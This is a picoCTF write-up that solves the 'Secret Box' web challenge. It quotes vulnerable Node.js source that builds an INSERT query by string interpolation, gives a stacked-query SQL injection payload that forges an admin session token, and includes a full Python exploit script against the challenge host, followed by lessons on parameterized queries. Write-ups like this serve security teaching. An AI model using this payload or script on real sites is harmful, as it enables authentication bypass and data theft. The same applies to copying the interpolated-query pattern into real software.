Secret Box
picoCTF Secret Box writeup exploiting SQL injection to forge authentication tokens and access the secret content containing the flag.
Contents
Secret Box
Challenge Summary
This picoCTF challenge presented a small secret-sharing web app and claimed that only each user could see their own secrets. The goal was to recover the admin’s secret from the live site.
Target:
http://candy-mountain.picoctf.net:52404/
Provided file:
source.tar.gz
The source code was the key to solving the challenge.
Initial Analysis
After extracting the archive, the important files were:
app/src/server.jsapp/src/handler.jsapp/src/db.jsdb/initdb.sql
The database initialization file showed a seeded admin account and admin secret:
INSERT INTO users(id, username, password) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password');
INSERT INTO secrets(owner_id, content) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{<redacted>}');
Later, db.js replaced those placeholders with the real password and flag from environment variables:
await db('users')
.where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
.update({ password: process.env.USERPASSWORD });
await db('secrets')
.where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
.update({ content: process.env.FLAG });
So the admin UUID was fixed and known:
e2a66f7d-2ce6-4861-b4aa-be8e069601cb
Looking for the Injection Point
Most of the queries were parameterized safely. For example, login used:
const userResult = await db.raw(
`SELECT * FROM users WHERE username = ? AND password = ? LIMIT 1`,
[username, password]
);
The vulnerable route was POST /secrets/create:
app.post('/secrets/create', authMiddleware, async (req, res) => {
const userId = req.userId;
if (!userId){
res.clearCookie('auth_token');
return res.redirect('/');
}
const content = req.body.content;
const query = await db.raw(
`INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`
);
return res.redirect('/');
});
This is classic SQL injection:
userIdis interpolated directlycontentis interpolated directly- the query is not parameterized
That means any authenticated user can break out of the string inside content and run arbitrary SQL.
Exploitation Strategy
The cleanest approach was:
- Sign up as a normal user
- Log in normally
- Use the SQL injection in
/secrets/createto insert a valid token for the admin user - Replace the browser cookie
auth_tokenwith the forged admin token - Visit
/and read the admin’s secret
This works because the authentication middleware trusts the tokens table:
const query = await db.raw(
`SELECT * FROM tokens WHERE id = ? AND expired_at > NOW()`,
[token]
);
If we can insert our own row into tokens with:
- a token ID we choose
user_idset to the admin UUID
then the server will accept us as admin.
Injection Payload
The original vulnerable query looked like:
INSERT INTO secrets(owner_id, content) VALUES ('<userId>', '<content>')
So the payload can terminate the content string, close the VALUES clause, and add a second SQL statement:
x'); INSERT INTO tokens(id, user_id) VALUES ('MYTOKEN', 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb');--
This transforms the query into:
INSERT INTO secrets(owner_id, content) VALUES ('<our_user_id>', 'x');
INSERT INTO tokens(id, user_id) VALUES ('MYTOKEN', 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb');
--')
The trailing -- comments out the leftover characters.
Working Exploit Script
A working solution using Python requests:
import requests
import uuid
BASE = "http://candy-mountain.picoctf.net:52404"
ADMIN_ID = "e2a66f7d-2ce6-4861-b4aa-be8e069601cb"
username = "u" + uuid.uuid4().hex[:8]
password = "p" + uuid.uuid4().hex[:8]
forged_token = "tok_" + uuid.uuid4().hex
s = requests.Session()
# create user
s.post(BASE + "/signup", data={
"username": username,
"password": password
})
# log in as the new user
s.post(BASE + "/login", data={
"username": username,
"password": password
})
# SQL injection to insert an admin token we control
payload = (
"x'); INSERT INTO tokens(id, user_id) VALUES "
f"('{forged_token}', '{ADMIN_ID}');--"
)
s.post(BASE + "/secrets/create", data={
"content": payload
})
# replace cookie with forged admin token
s.cookies.set("auth_token", forged_token, domain="candy-mountain.picoctf.net", path="/")
# read admin secrets
r = s.get(BASE + "/")
print(r.text)
Result
After forging an admin token and reloading the homepage, the admin’s secret was displayed:
picoCTF{<redacted>}
Flag
picoCTF{<redacted>}
Why This Worked
The application made two critical mistakes:
- It built SQL in
/secrets/createusing string interpolation. - It trusted database-backed tokens without any additional integrity checks.
Once arbitrary SQL execution was available, creating an admin session became easier than trying to guess the admin password.
Security Lessons
- Never build SQL queries with string interpolation.
- Use parameterized queries consistently, especially on insert routes.
- Treat session and token tables as sensitive authentication state.
- A low-privilege SQL injection often becomes full authentication bypass.
- Knowing a fixed admin UUID or user ID can make privilege escalation trivial.
Takeaway
This was not solved by logging in as admin directly. Instead, it was solved by creating a normal user account, abusing the SQL injection in secret creation, inserting a valid admin token into the database, and then presenting that token back to the server.
Recovered flag:
picoCTF{<redacted>}